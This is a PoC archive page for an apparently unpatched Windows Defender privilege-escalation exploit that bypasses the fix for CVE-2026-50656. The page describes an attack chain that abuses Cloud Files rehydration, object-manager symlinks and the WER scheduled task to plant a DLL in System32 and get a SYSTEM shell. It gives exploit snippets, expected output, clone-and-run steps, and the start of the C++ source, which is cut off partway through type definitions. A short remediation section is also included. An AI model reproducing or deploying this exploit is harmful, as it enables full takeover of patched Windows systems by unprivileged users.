PoC Archive PoC Archive
Bypass of CVE-2026-50656 category: binary CVSS 7.8 (HIGH) EPSS 11%
Unpatched

Windows Defender — ShieldBreak: RoguePlanet (CVE-2026-50656) Patch Bypass via Cloud Files Rehydration + Object Manager Symlinks

Published: 2026-08-11 • Researcher: MSNightmare (INFINITE NIGHTMARE / Project Nightcrawler)

Target software Microsoft Windows Defender (Antimalware Service Executable / MsMpEng.exe), threat remediation subsystem
Affected versions Windows 11 25H2 (including Canary channel) and Windows Server 2025 with the latest Defender definitions. Windows 10 and respective Server editions are also vulnerable but not currently supported by this PoC.
Status Unpatched
Severity High · CVSS 7.8
CVSS 7.8/10

Exploitation signals

EPSS 11%

EPSS 10.7% · 95th percentile

Severity
High
CVE
Bypass of CVE-2026-50656 (RoguePlanet); no CVE assigned to ShieldBreak as of 2026-08-11
Category
binary
Affected product
Microsoft Windows Defender (Antimalware Service Executable / MsMpEng.exe), threat remediation subsystem
Affected versions
Windows 11 25H2 (including Canary channel) and Windows Server 2025 with the latest Defender definitions. Windows 10 and respective Server editions are also vulnerable but not currently supported by this PoC.
Disclosed
2026-08-11
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-08-11
Last Updated2026-08-11
Author / ResearcherMSNightmare (INFINITE NIGHTMARE / Project Nightcrawler)
CVE / AdvisoryBypass of CVE-2026-50656 (RoguePlanet); no CVE assigned to ShieldBreak as of 2026-08-11
Categorybinary
SeverityHigh
CVSS Score7.8 (estimated CVSSv3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusUnpatched
Tagswindows, windows-defender, lpe, privilege-escalation, 0day, patch-bypass, cloud-files, cfapi, object-manager, symlink, wer, dll-sideload, CWE-59, CWE-426, microsoft, rogueplanet, shieldbreak
Relatedpocs/binary/2026-06-10_rogueplanet-defender-lpe/ (original RoguePlanet, same author), pocs/binary/2026-06-26_cve-2026-50656-rogueplanet-checker/ (RoguePlanet checker), pocs/binary/2026-05-15_bluehammer-defender-lpe/ (different Defender LPE)

Affected Target

FieldValue
Software / SystemMicrosoft Windows Defender (Antimalware Service Executable / MsMpEng.exe), threat remediation subsystem
Versions AffectedWindows 11 25H2 (including Canary channel) and Windows Server 2025 with the latest Defender definitions. Windows 10 and respective Server editions are also vulnerable but not currently supported by this PoC.
Language / PlatformC++ (Visual Studio 2022, .NET Framework 4.6.2 for Rubeus dependency). Targets x64 Windows with Defender enabled.
Authentication RequiredYes — requires local user-level access on the target machine (standard user, no admin)
Network Access RequiredLocal — the exploit runs on the target machine; uses loopback UNC path (\\127.0.0.1\C$) for the symlink target

Summary

ShieldBreak is a 0-day local privilege escalation exploit that bypasses the patch for CVE-2026-50656 (RoguePlanet), achieving SYSTEM-level code execution from an unprivileged user on fully patched Windows 11 and Server 2025 systems. The exploit was released by the same researcher (MSNightmare) who discovered the original RoguePlanet vulnerability.

The exploit chains three Windows subsystems: the Cloud Files API (CfApi), the NT Object Manager, and Windows Error Reporting (WER). It registers a malicious cloud sync provider that serves different content on successive hydration requests, uses object manager symlinks to redirect Defender threat remediation to write an attacker-controlled DLL to C:\Windows\System32, and then triggers the WER scheduled task to load the planted DLL as SYSTEM.

The PoC has a reported 100% success rate on supported platforms.

Vulnerability Details

Root Cause

Microsoft patched CVE-2026-50656 (RoguePlanet) by adding validation to the Defender cleanup path. ShieldBreak bypasses this patch by using a different file delivery mechanism (Cloud Files rehydration instead of direct file placement) and a different symlink chain (object manager directories with shadow directories instead of NTFS junctions).

The fundamental issue remains: Windows Defender threat remediation runs as SYSTEM and follows symlinks during cleanup operations without adequate validation of the final destination path. The patch for CVE-2026-50656 hardened specific paths but did not address the underlying symlink-following behavior in the cleanup subsystem.

Attack Flow

  1. Setup: Create a work directory (C:\ShieldBreak_<GUID>) and register a Cloud Files sync provider via CfRegisterSyncRoot.

  2. Placeholder creation: Create a Cloud Files placeholder file (“BERLIN”) backed by the sync provider. The initial file size matches the EICAR bait ZIP.

  3. Object Manager symlink chain: Create two object manager directories with a shadow relationship and two symlinks:

    • WD_SHADOW_<GUID>\WD_SCAN -> work directory (for the scan path)
    • WD_TARGET_<GUID>\WD_SCAN -> \CLFS\??\<workdir> (for the CLFS log redirect)
  4. Trigger Defender scan: Scan the placeholder through the object manager symlink path. The Cloud Files callback serves the bait ZIP (containing a DLL Defender detects as malware) on the first hydration.

  5. Race the cleanup: When Defender detects the threat and begins remediation, it creates a CLFS (Common Log File System) log in the work directory. The exploit monitors for this file creation event.

  6. Symlink pivot: Delete the first scan symlink and replace it with an object directory containing a symlink to \\127.0.0.1\C$\Windows\System32\phoneinfo.dll. Lock the CLFS log file to control timing.

  7. Rehydration swap: Call CfRestartHydration to restart the placeholder hydration. This time the Cloud Files callback serves Warden.dll (the payload DLL) instead of the bait ZIP. Defender writes the payload to the redirected destination: C:\Windows\System32\phoneinfo.dll.

  8. DLL loading via WER: Create a crafted crash report in C:\ProgramData\Microsoft\Windows\WER\ReportQueue\ and trigger the WER QueueReporting scheduled task. The task runs as SYSTEM and loads phoneinfo.dll from System32.

  9. SYSTEM shell: The planted DLL executes as SYSTEM, connecting back to a named pipe (\\.\pipe\SHIELDBREAK) to deliver the elevated context.

Impact

Local privilege escalation from standard user to SYSTEM on fully patched Windows 11 and Server 2025. An attacker with local access can achieve complete system compromise, bypassing all Defender protections in the process — since the exploit abuses Defender itself to write the payload.

Environment / Lab Setup

Output

Setup Steps

Output
git clone https://github.com/MSNightmare/ShieldBreak.git

ShieldBreak.exe

Proof of Concept

See ShieldBreak.cpp (1,410 lines, C++) and supporting files in this folder — mirrored from MSNightmare/ShieldBreak. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Compile ShieldBreak.slnx in Visual Studio 2022 (Release, x64).
  2. Verify that C:\Windows\System32\phoneinfo.dll does not exist.
  3. Run ShieldBreak.exe as a standard user.
  4. Observe the exploit output — it should report success and spawn a SYSTEM shell via the named pipe.

Exploit Code

The Cloud Files callback — serves different content on successive hydrations (bait ZIP first, payload DLL second):

C++ source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void CALLBACK CLBK(
    _In_ CONST CF_CALLBACK_INFO* CallbackInfo,
    _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
    DWORD* RNA = (DWORD*)CallbackInfo->CallbackContext;
    if (*RNA == 1) {
        opParams.TransferData.Buffer = pResourceData_zip;   // bait
        opParams.TransferData.Length.QuadPart = dwSize_zip;
        *RNA = 2;
    } else {
        opParams.TransferData.Buffer = pResourceData_dll;   // payload
        opParams.TransferData.Length.QuadPart = dwSize_dll;
    }
    // ...
}

The symlink pivot — redirect Defender cleanup to System32:

C++ source
1
2
3
4
ObjectSymlinkMgr* lsymlink = new ObjectSymlinkMgr(
    _lsymlinkname,
    (wchar_t*)L"\\??\\UNC\\127.0.0.1\\C$\\Windows\\System32\\phoneinfo.dll",
    foodir->GetHandle());

The WER trigger — scheduled task runs as SYSTEM and loads the planted DLL:

C++ source
1
2
taskfolder->GetTask((BSTR)L"QueueReporting", &taskex);
taskex->Run(_variant_t(), &runningtask);

Expected Output

Output
[+] \??\C:\ShieldBreak_{GUID} was created.
[+] Cloud provider has been registered.
[+] Attached cloud provider to C:\ShieldBreak_{GUID}
[+] Placeholder created.
[+] \BaseNamedObjects\Restricted\WD_TARGET_{GUID} object manager directory created
[+] \BaseNamedObjects\Restricted\WD_SHADOW_{GUID} object manager directory created
[+] WD_SCAN <=> \??\C:\ShieldBreak_{GUID} object link created
[+] WD_SCAN <=> \CLFS\??\C:\ShieldBreak_{GUID} object link created
[*] Scan initiated for \\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{GUID}\WD_SCAN\BERLIN
[*] Please wait...
[+] Cloud provider callback success.
[+] Cloud provider callback success.
[+] Link deleted.
[+] CLFS log locked.
[+] Cloud provider callback success.
[+] Cloud provider callback success.
[+] \??\C:\Windows\System32\phoneinfo.dll:stream file locked.
[*] Attempting to spawn shell...
[+] Exploit succeeded.

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchNo patch available as of 2026-08-11 — this is a 0-day bypass of the CVE-2026-50656 fix. Monitor MSRC for an updated advisory.
WorkaroundDeploy an ASR (Attack Surface Reduction) rule to block untrusted Cloud Files sync provider registrations. Monitor for phoneinfo.dll creation in System32. Block the WER QueueReporting scheduled task from loading unsigned DLLs. Consider deploying application control (WDAC) policies that prevent unsigned DLLs in System32.
VerificationCheck that C:\Windows\System32\phoneinfo.dll does not exist. Monitor Sysmon or ETW for CfRegisterSyncRoot calls from non-standard processes.

References

Notes

Verified this session by reading the full PoC source (ShieldBreak.cpp, 1,410 lines). The exploit is a sophisticated single-file C++ application that chains Cloud Files API (CfApi) placeholder hydration, NT Object Manager symlink manipulation, Windows Defender MpClient.dll RPC-based scan/clean invocation, and WER scheduled task DLL sideloading into a seamless privilege escalation from standard user to SYSTEM. The code is well-structured with clear phase separation: setup, cloud provider registration, placeholder creation, symlink chain, scan trigger, race/pivot, rehydration swap, DLL plant, and WER trigger.

The exploit embeds three resources: a bait ZIP (eicar_com.zip, containing ShellDll.dll — a DLL Defender detects as malware, used to trigger the cleanup flow), a payload DLL (Warden.dll, planted to System32 as phoneinfo.dll), and a crafted WER crash report (Report.wer, referencing a fake app “AngryPeopleBug.exe”). The WER report triggers the QueueReporting scheduled task which loads the planted DLL as SYSTEM.

Committed binary caveat: The repository includes two pre-compiled binaries (eicar_com.zip containing ShellDll.dll, and Warden.dll) whose contents cannot be verified from source code. The C++ exploit source is fully readable and clearly legitimate, and the author (MSNightmare) is the same researcher behind RoguePlanet (1,586 stars, CVE-2026-50656, already in this archive). Users should exercise caution with pre-compiled binaries and consider building their own test DLLs if reproducing the exploit in a lab.

Author track record: MSNightmare (INFINITE NIGHTMARE / Project Nightcrawler) is a prolific Windows security researcher with 2,511 GitHub followers. Their prior disclosures — RoguePlanet (Defender LPE, CVE-2026-50656, 1,586 stars), LegacyHive (Windows ProfSvc 0-day, 298 stars), GreatXML (BitLocker bypass, 621 stars), and BrokenArrow (80 stars) — demonstrate deep expertise in Windows internals and privilege escalation. The ShieldBreak repo was created August 11, 2026, and accumulated 341 stars and 112 forks within a day, consistent with the high-impact nature of the disclosure.

The exploit requires phoneinfo.dll to NOT exist in System32 as a precondition (the code checks and exits if present). This is a reasonable constraint — phoneinfo.dll is not a standard Windows system DLL. The cleanup step removes the work directory, WER report, and temporary files but deliberately leaves phoneinfo.dll in System32 (as it demonstrates the persistent payload plant).

ShieldBreak.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
// meh
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <winioctl.h>
#include <winternl.h>
#include <conio.h>
#include <ntstatus.h>
#include <objbase.h>
#include <cfapi.h>
#include <AclAPI.h>
#include <initguid.h>
#include <ole2.h>
#include <taskschd.h>
#include <comdef.h>
#include "resource.h"
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "CldApi.lib")
#pragma comment(lib, "onecore.lib")
#pragma comment(lib, "taskschd.lib")


#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE

wchar_t scan_target[MAX_PATH] = { 0 };

HRSRC hResInfo_zip = FindResource(NULL, MAKEINTRESOURCE(IDR_ZIP1), L"zip");
HGLOBAL hResData_zip = LoadResource(NULL, hResInfo_zip);
LPVOID pResourceData_zip = LockResource(hResData_zip);
DWORD dwSize_zip = SizeofResource(NULL, hResInfo_zip);


HRSRC hResInfo_dll = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), L"dll");
HGLOBAL hResData_dll = LoadResource(NULL, hResInfo_dll);
LPVOID pResourceData_dll = LockResource(hResData_dll);
DWORD dwSize_dll = SizeofResource(NULL, hResInfo_dll);

#define MP_THREAT_STAT_MAX_VALUE 1000
#define MP_MAX_SUGGESTIONS 10000
typedef HANDLE MPHANDLE;
typedef HANDLE* PMPHANDLE;
typedef ULONG MPTHREAT_ID;
typedef ULONG MPRESOURCE_CLASS;
typedef ULONG MP_EXPIRE_REASON;
typedef ULONG MP_EXPIRE_STATE_REPORT;
typedef LPWSTR MP_MIDL_STRING;
typedef struct tagMPCALLBACK_INFO {
	void* CallbackHandler;
	__int64 v4;
} MPCALLBACK_INFO, * PMPCALLBACK_INFO;



typedef enum tagMPTHREAT_TYPE {
	MPTHREAT_TYPE_KNOWNBAD = 0,
	MPTHREAT_TYPE_BEHAVIOR = 1,
	MPTHREAT_TYPE_UNKNOWN = 2,
	MPTHREAT_TYPE_KNOWNGOOD = 3,
	MPTHREAT_TYPE_NIS = 4,
	MPTHREAT_TYPE_MAXVALUE = 4
} MPTHREAT_TYPE, * PMPTHREAT_TYPE;

typedef enum tagMPTHREAT_SOURCE {
	MPTHREAT_SOURCE_SCAN = 0,
	MPTHREAT_SOURCE_ACTIVE = 1,
	MPTHREAT_SOURCE_HISTORY = 2,
	MPTHREAT_SOURCE_QUARANTINE = 3,
	MPTHREAT_SOURCE_SIGNATURE = 4,
	MPTHREAT_SOURCE_STATE = 5,
	MPTHREAT_SOURCE_MAXVALUE = 5
} MPTHREAT_SOURCE, * PMPTHREAT_SOURCE;
typedef enum tagMPSCAN_TYPE {
	MPSCAN_TYPE_UNKNOWN = 0,
	MPSCAN_TYPE_QUICK = 1,
	MPSCAN_TYPE_FULL = 2,
	MPSCAN_TYPE_RESOURCE = 3,
	MPSCAN_TYPE_MAXVALUE = 3
} MPSCAN_TYPE, * PMPSCAN_TYPE;
typedef enum tagMPSOURCE {
	MPSOURCE_UNKNOWN = 0,
	MPSOURCE_USER = 1,
	MPSOURCE_SYSTEM = 2,
	MPSOURCE_REALTIME = 3,
	MPSOURCE_IOAV = 4,
	MPSOURCE_NIS = 5,
	MPSOURCE_BHO = 6,
	MPSOURCE_IEPROTECT = 6,
	MPSOURCE_ELAM = 7,
	MPSOURCE_LOCAL_ATTESTATION = 8,
	MPSOURCE_REMOTE_ATTESTATION = 9,
	MPSOURCE_AMSI = 10,
	MP_SOURCE_MAXVALUE = 10
} MPSOURCE, * PMPSOURCE;


typedef enum tagMPTHREAT_SEVERITY {
	MP_THREAT_SEVERITY_UNKNOWN = 0,
	MP_THREAT_SEVERITY_LOW = 1,
	MP_THREAT_SEVERITY_MODERATE = 2,
	MP_THREAT_SEVERITY_HIGH = 4,
	MP_THREAT_SEVERITY_SEVERE = 5,
	MP_THREAT_SEVERITY_MAXVALUE = 5
} MPTHREAT_SEVERITY, * PMPTHREAT_SEVERITY;

typedef struct tagMPTHREAT_STATS_DATA {
	DWORD dwThreatCount;
} MPTHREAT_STATS_DATA, * PMPTHREAT_STATS_DATA;

typedef struct tagMPCOMPONENT_STATUS {
	BOOL    fEnable;
	HRESULT hResult;
} MPCOMPONENT_STATUS, * PMPCOMPONENT_STATUS;

typedef struct tagMPTHREAT_STATS {
	UINT ThreatCount;
	UINT SuspiciousThreatCount;
	UINT Reserved[4];
} MPTHREAT_STATS, * PMPTHREAT_STATS;

typedef enum tagMPTHREAT_CATEGORY {
	MP_THREAT_CATEGORY_INVALID = 0,
	MP_THREAT_CATEGORY_ADWARE = 1,
	MP_THREAT_CATEGORY_SPYWARE = 2,
	MP_THREAT_CATEGORY_PASSWORDSTEALER = 3,
	MP_THREAT_CATEGORY_TROJANDOWNLOADER = 4,
	MP_THREAT_CATEGORY_WORM = 5,
	MP_THREAT_CATEGORY_BACKDOOR = 6,
	MP_THREAT_CATEGORY_REMOTEACCESSTROJAN = 7,
	MP_THREAT_CATEGORY_TROJAN = 8,
	MP_THREAT_CATEGORY_EMAILFLOODER = 9,
	MP_THREAT_CATEGORY_KEYLOGGER = 10,
	MP_THREAT_CATEGORY_DIALER = 11,
	MP_THREAT_CATEGORY_MONITORINGSOFTWARE = 12,
	MP_THREAT_CATEGORY_BROWSERMODIFIER = 13,
	MP_THREAT_CATEGORY_COOKIE = 14,
	MP_THREAT_CATEGORY_BROWSERPLUGIN = 15,
	MP_THREAT_CATEGORY_AOLEXPLOIT = 16,
	MP_THREAT_CATEGORY_NUKER = 17,
	MP_THREAT_CATEGORY_SECURITYDISABLER = 18,
	MP_THREAT_CATEGORY_JOKEPROGRAM = 19,
	MP_THREAT_CATEGORY_HOSTILEACTIVEXCONTROL = 20,
	MP_THREAT_CATEGORY_SOFTWAREBUNDLER = 21,
	MP_THREAT_CATEGORY_STEALTHNOTIFIER = 22,
	MP_THREAT_CATEGORY_SETTINGSMODIFIER = 23,
	MP_THREAT_CATEGORY_TOOLBAR = 24,
	MP_THREAT_CATEGORY_REMOTECONTROLSOFTWARE = 25,
	MP_THREAT_CATEGORY_TROJANFTP = 26,
	MP_THREAT_CATEGORY_POTENTIALUNWANTEDSOFTWARE = 27,
	MP_THREAT_CATEGORY_ICQEXPLOIT = 28,
	MP_THREAT_CATEGORY_TROJANTELNET = 29,
	MP_THREAT_CATEGORY_EXPLOIT = 30,
	MP_THREAT_CATEGORY_FILESHARINGPROGRAM = 31,
	MP_THREAT_CATEGORY_MALWARE_CREATION_TOOL = 32,
	MP_THREAT_CATEGORY_REMOTE_CONTROL_SOFTWARE = 33,
	MP_THREAT_CATEGORY_TOOL = 34,
	MP_THREAT_CATEGORY_TROJAN_DENIALOFSERVICE = 36,
	MP_THREAT_CATEGORY_TROJAN_DROPPER = 37,
	MP_THREAT_CATEGORY_TROJAN_MASSMAILER = 38,
	MP_THREAT_CATEGORY_TROJAN_MONITORINGSOFTWARE = 39,
	MP_THREAT_CATEGORY_TROJAN_PROXYSERVER = 40,
	MP_THREAT_CATEGORY_VIRUS = 42,
	MP_THREAT_CATEGORY_KNOWN = 43,
	MP_THREAT_CATEGORY_UNKNOWN = 44,
	MP_THREAT_CATEGORY_SPP = 45,
	MP_THREAT_CATEGORY_BEHAVIOR = 46,
	MP_THREAT_CATEGORY_VULNERABILTIY = 47,
	MP_THREAT_CATEGORY_POLICY = 48
} MPTHREAT_CATEGORY, * PMPTHREAT_CATEGORY;

typedef enum tagMPTHREAT_STATUS {
	MP_THREAT_STATUS_UNKNOWN = 0,
	MP_THREAT_STATUS_DETECTED = 1,
	MP_THREAT_STATUS_CLEANED = 2,
	MP_THREAT_STATUS_QUARANTINED = 3,
	MP_THREAT_STATUS_REMOVED = 4,
	MP_THREAT_STATUS_ALLOWED = 5,
	MP_THREAT_STATUS_BLOCKED = 6,
	MP_THREAT_STATUS_CLEAN_FAILED = 102,
	MP_THREAT_STATUS_QUARANTINE_FAILED = 103,
	MP_THREAT_STATUS_REMOVE_FAILED = 104,
	MP_THREAT_STATUS_ALLOW_FAILED = 105,
	MP_THREAT_STATUS_ABANDONED = 106,
	MP_THREAT_STATUS_BLOCK_FAILED = 107
} MPTHREAT_STATUS, * PMPTHREAT_STATUS;

typedef enum tagMPTHREAT_DETECTION {
	MP_THREAT_DETECTION_CONCRETE = 0,
	MP_THREAT_DETECTION_HEURISTIC = 1,
	MP_THREAT_DETECTION_GENERIC = 2,
	MP_THREAT_DETECTION_SUSPICIOUS = 4,
	MP_THREAT_DETECTION_FASTPATH = 8
} MPTHREAT_DETECTION, * PMPTHREAT_DETECTION;

typedef struct tagMPRESOURCE_STATS {
	DWORD  PPMProgress;
	UINT64 ProcessCount;
	UINT64 FileCount;
	UINT64 FileBytesCount;
	UINT64 RegKeyCount;
	UINT64 Reserved[4];
} MPRESOURCE_STATS, * PMPRESOURCE_STATS;

typedef struct tagMPSCAN_RESULT {
	MPSCAN_TYPE      ScanType;
	MPSOURCE         Source;
	GUID             ScanGuid;
	ULARGE_INTEGER   StartTime;
	ULARGE_INTEGER   EndTime;
	MPTHREAT_STATS   ThreatStats;
	MPRESOURCE_STATS ResourceStats;
	ULONGLONG        SignatureVersion;
} MPSCAN_RESULT, * PMPSCAN_RESULT;

typedef enum tagMPTHREAT_ACTION {
	MP_THREAT_ACTION_UNKNOWN = 0,
	MP_THREAT_ACTION_CLEAN = 1,
	MP_THREAT_ACTION_QUARANTINE = 2,
	MP_THREAT_ACTION_REMOVE = 3,
	MP_THREAT_ACTION_ALLOW = 6,
	MP_THREAT_ACTION_USERDEFINED = 8,
	MP_THREAT_ACTION_NOACTION = 9,
	MP_THREAT_ACTION_BLOCK = 10,
	MP_THREAT_ACTION_MAX_VALUE = 10
} MPTHREAT_ACTION, * PMPTHREAT_ACTION;

typedef enum tagMPEXECUTION_STATUS {
	MP_EXECUTION_STATUS_UNKNOWN = 0,
	MP_EXECUTION_STATUS_BLOCKED = 1,
	MP_EXECUTION_STATUS_ALLOWED = 2,
	MP_EXECUTION_STATUS_EXECUTING = 3,
	MP_EXECUTION_STATUS_NOT_EXECUTING = 4
} MPEXECUTION_STATUS, * PMPEXECUTION_STATUS;

typedef struct tagMPTHREAT_INFOEX_UNUSED {
	DWORD dwNone;
} MPTHREAT_INFOEX_UNUSED, * PMPTHREAT_INFOEX_UNUSED;


typedef enum tagMP_HASH_TYPE {
	MP_HASH_TYPE_NONE = 0,
	MP_HASH_TYPE_CRC32 = 2,
	MP_HASH_TYPE_MD5 = 4,
	MP_HASH_TYPE_SHA1 = 8,
	MP_HASH_TYPE_SHA256 = 16
} MP_HASH_TYPE, * PMP_HASH_TYPE;

typedef enum tagMPDETECTION_STATE {
	MPDETECTION_STATE_UNKNOWN = 0,
	MPDETECTION_STATE_ACTIVE = 1,
	MPDETECTION_STATE_FINISHED = 2,
	MPDETECTION_STATE_ADDITIONAL_ACTIONS = 3,
	MPDETECTION_STATE_FAILED = 4,
	MPDETECTION_STATE_CRITICALLY_FAILED = 5,
	MPDETECTION_STATE_CLEARED = 6
} MPDETECTION_STATE, * PMPDETECTION_STATE;

typedef enum tagMPDETECTION_ORIGIN {
	MPDETECTION_ORIGIN_UNKNOWN = 0,
	MPDETECTION_ORIGIN_LOCAL_MACHINE = 1 << 0,
	MPDETECTION_ORIGIN_NETWORKSHARE = 1 << 1,
	MPDETECTION_ORIGIN_INTERNET = 1 << 2,
	MPDETECTION_ORIGIN_OUTBOUND = 1 << 3,
	MPDETECTION_ORIGIN_INBOUND = 1 << 4
} MPDETECTION_ORIGIN, * PMPDETECTION_ORIGIN;

typedef enum tagMPRESOLVED_REASON {
	MPRESOLVED_REASON_UNKNOWN = 0,
	MPRESOLVED_REASON_FULL_SCAN = 1,
	MPRESOLVED_REASON_TIMED_OUT = 2
} MPRESOLVED_REASON, * PMPRESOLVED_REASON;

typedef enum tagMPCOMPONENT_ID {
	MPCOMPONENT_AS_SIGNATURE = 0,
	MPCOMPONENT_AV_SIGNATURE = 1,
	MPCOMPONENT_REALTIME_MONITOR = 2,
	MPCOMPONENT_ONACCESS_PROTECTION = 3,
	MPCOMPONENT_IOAV_PROTECTION = 4,
	MPCOMPONENT_BEHAVIOR_MONITOR = 5,
	MPCOMPONENT_AUTO_SCAN = 6,
	MPCOMPONENT_AUTO_SIGUPDATE = 7,
	MPCOMPONENT_IPC = 8,
	MPCOMPONENT_NIS = 9,
	MPCOMPONENT_ELAM = 10,
	MPCOMPONENT_MAXVALUE = 10
} MPCOMPONENT_ID, * PMPCOMPONENT_ID;


typedef enum tagMPNOTIFY {
	MPNOTIFY_NONE = 0,
	MPNOTIFY_CALL_START = 0x1001,
	MPNOTIFY_CALL_COMPLETE = 0x1002,
	MPNOTIFY_INTERNAL_FAILURE = 0x2001,
	MPNOTIFY_STATUS_SERVICE_START = 0x3001,
	MPNOTIFY_STATUS_SERVICE_RUNNING = 0x3002,
	MPNOTIFY_STATUS_SERVICE_STOP = 0x3003,
	MPNOTIFY_STATUS_COMPONENT = 0x3004,
	MPNOTIFY_STATUS_CHANGE = 0x3005,
	MPNOTIFY_STATUS_COMPONENT_CONFIGURATION = 0x3006,
	MPNOTIFY_STATUS_EXPIRATION_CHANGE = 0x3007,
	MPNOTIFY_STATUS_OFFLINE_SCAN_CHANGE = 0x3008,
	MPNOTIFY_SCAN_START = 0x4001,
	MPNOTIFY_SCAN_PAUSED = 0x4002,
	MPNOTIFY_SCAN_RESUMED = 0x4003,
	MPNOTIFY_SCAN_CANCEL = 0x4004,
	MPNOTIFY_SCAN_COMPLETE = 0x4005,
	MPNOTIFY_SCAN_PROGRESS = 0x4006,
	MPNOTIFY_SCAN_ERROR = 0x4007,
	MPNOTIFY_SCAN_INFECTED = 0x4008,
	MPNOTIFY_SCAN_MEMORYSTART = 0x4009,
	MPNOTIFY_SCAN_MEMORYCOMPLETE = 0x4010,
	MPNOTIFY_SCAN_SFC_BUILD_START = 0x4011,
	MPNOTIFY_SCAN_SFC_BUILD_COMPLETE = 0x4012,
	MPNOTIFY_SCAN_FASTPATH_START = 0x4013,
	MPNOTIFY_SCAN_FASTPATH_COMPLETE = 0x4014,
	MPNOTIFY_SCAN_FASTPATH_PROGRESS = 0x4015,
	MPNOTIFY_CLEAN_START,
	MPNOTIFY_CLEAN_COMPLETE,
	MPNOTIFY_CLEAN_RESTOREPOINT_START,
	MPNOTIFY_CLEAN_RESTOREPOINT_SUCCEEDED,
	MPNOTIFY_CLEAN_RESTOREPOINT_FAILED,
	MPNOTIFY_CLEAN_THREAT_START,
	MPNOTIFY_CLEAN_THREAT_SUCCEEDED,
	MPNOTIFY_CLEAN_THREAT_FAILED,
	MPNOTIFY_CLEAN_RESOURCE_SUCCEEDED,
	MPNOTIFY_CLEAN_RESOURCE_FAILED,
	MPNOTIFY_CLEAN_THREAT_COMPLETE,
	MPNOTIFY_PRECHECK_START,
	MPNOTIFY_PRECHECK_COMPLETE,
	MPNOTIFY_PRECHECK_RESOURCE_BLOCKED,
	MPNOTIFY_THREAT_DETECTED,
	MPNOTIFY_THREAT_MODIFIED,
	MPNOTIFY_THREAT_CLEAN_SUCCEEDED,
	MPNOTIFY_THREAT_CLEAN_FAILED,
	MPNOTIFY_THREAT_ABANDONED,
	MPNOTIFY_THREAT_CLEAN_EVENT_START,
	MPNOTIFY_THREAT_CLEAN_EVENT_COMPLETE,
	MPNOTIFY_SIGUPDATE_START,
	MPNOTIFY_SIGUPDATE_SEARCH_START,
	MPNOTIFY_SIGUPDATE_SEARCH_COMPLETE,
	MPNOTIFY_SIGUPDATE_SOFTWARE_UPDATE_AVAILABLE,
	MPNOTIFY_SIGUPDATE_DOWNLOAD_START,
	MPNOTIFY_SIGUPDATE_DOWNLOAD_PROGRESS,
	MPNOTIFY_SIGUPDATE_DOWNLOAD_COMPLETE,
	MPNOTIFY_SIGUPDATE_INSTALL_START,
	MPNOTIFY_SIGUPDATE_INSTALL_PROGRESS,
	MPNOTIFY_SIGUPDATE_INSTALL_COMPLETE,
	MPNOTIFY_SIGUPDATE_REBOOT_REQUIRED,
	MPNOTIFY_SIGUPDATE_REQUEST_PROCESSED,
	MPNOTIFY_SIGUPDATE_COMPLETE,
	MPNOTIFY_SAMPLE_START,
	MPNOTIFY_SAMPLE_COMPLETE,
	MPNOTIFY_SAMPLE_ITEM_START,
	MPNOTIFY_SAMPLE_ITEM_SUCCEEDED,
	MPNOTIFY_SAMPLE_ITEM_FAILED,
	MPNOTIFY_RESERVED_DATA,
	MPNOTIFY_FASTPATH_SIG_ADDED,
	MPNOTIFY_FASTPATH_SIG_REMOVED,
	MPNOTIFY_NIS_PRIVATE,
	MPNOTIFY_HEALTH_CHANGE,
	MPNOTIFY_HEALTH_RECOVERY,
	MPNOTIFY_HEALTH_START,
	MPNOTIFY_ENDOFLIFE_CHANGE,
	MPNOTIFY_MALWARETOAST_DATA
} MPNOTIFY, * PMPNOTIFY;

typedef enum tagMPSIGUPDATE_TYPE {
	MPSIGUPDATE_TYPE_NONE,
	MPSIGUPDATE_TYPE_MANAGED,
